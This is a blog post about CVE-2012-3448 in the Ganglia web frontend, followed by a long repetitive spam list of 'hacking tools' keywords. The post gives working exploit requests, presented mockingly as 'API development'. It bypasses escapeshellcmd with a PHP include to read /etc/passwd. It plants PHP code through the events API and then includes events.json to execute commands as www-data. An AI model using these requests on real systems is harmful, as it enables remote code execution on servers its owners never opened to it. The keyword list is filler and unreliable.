http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448Related news
- Hacker Hardware Tools
- Hack Tools Online
- Hacker Tools For Windows
- Best Pentesting Tools 2018
- Hacking Tools For Mac
- Hacking Tools Download
- Pentest Reporting Tools
- Hacker Tools Hardware
- Hacking Tools 2019
- Github Hacking Tools
- Underground Hacker Sites
- Hack Tools For Ubuntu
- Pentest Tools For Windows
- Top Pentest Tools
- Computer Hacker
- Pentest Tools Find Subdomains
- Pentest Tools Framework
- What Is Hacking Tools
- Hacking App
- Hack Tools Github
- Pentest Tools Download
- Black Hat Hacker Tools
- Hack Tools
- Hacker Tools Apk Download
- Nsa Hacker Tools
- Hack Tools Download
- Game Hacking
- Hacking Tools For Games
- Hacker Tools For Windows
- Hack Apps
- Hacking Tools Mac
- Pentest Tools Online
- Pentest Tools
- Pentest Automation Tools
- Hack Tools For Mac
- New Hack Tools
- Hacker Tools 2019
- Pentest Tools Open Source
- Beginner Hacker Tools
- Free Pentest Tools For Windows
- Hacker Tool Kit
- New Hack Tools
- Hacking Tools Hardware
- Pentest Tools Kali Linux
- Pentest Tools Alternative
- Pentest Tools Tcp Port Scanner
- Hacking Tools For Mac
- Pentest Box Tools Download
- Pentest Reporting Tools
- Hacking Tools For Windows 7
- Kik Hack Tools
- How To Make Hacking Tools
- Game Hacking
- Best Hacking Tools 2019
- Pentest Tools Kali Linux
- Hacking Tools Usb
- Hack App
- Computer Hacker
- Hack Tool Apk No Root
- Hacking Tools For Windows 7
- Hacking Tools Github
- Pentest Tools Find Subdomains
- Hacker Tools
- Hacking Tools For Windows Free Download
- Pentest Box Tools Download
- Termux Hacking Tools 2019
- Hacking Tools Windows 10
- Tools 4 Hack
- Hacker Hardware Tools
- Game Hacking
- Pentest Tools
- Pentest Tools Framework
- Pentest Tools Android
- Hacker Techniques Tools And Incident Handling
- Hacking Tools For Windows
- Hacker Tools List
- Hacking Tools Free Download
- Hacking Tools For Kali Linux
- Pentest Tools List
- Hack Tools For Mac
- Hacking Tools Free Download
- Hack Tools For Mac
- Hacking Tools
- Pentest Automation Tools
- Pentest Tools Bluekeep
- Hacking Tools For Pc
- Hack Tools For Ubuntu
- Hacking Tools For Windows
- Hacker Tools For Ios
- Hacking Tools For Mac
- Hacker Tools For Ios
- New Hack Tools
- Hacker Tools Software
- Hacker Tools Linux
- Hacking Tools And Software
- Hack Tools Github
- Hacking Tools Name
- Hacking Tools Hardware
- Hacking Tools Name
- Pentest Tools Subdomain
- Hacking Tools Hardware
- Bluetooth Hacking Tools Kali
- Easy Hack Tools
- Black Hat Hacker Tools
- Hacking Tools
- Hacking Tools Name
- Hacker Techniques Tools And Incident Handling
- Black Hat Hacker Tools
- Kik Hack Tools
- Tools For Hacker
- Free Pentest Tools For Windows
- Hacker Tools List
- Hacker Search Tools
- Physical Pentest Tools
- Hacker Tools 2020
- Pentest Tools Find Subdomains
- Free Pentest Tools For Windows
- Hacking Tools Github
- Bluetooth Hacking Tools Kali
- Hacking Tools Online
- Hacker Techniques Tools And Incident Handling
- Hacking Tools For Windows
- Tools For Hacker
No comments:
Post a Comment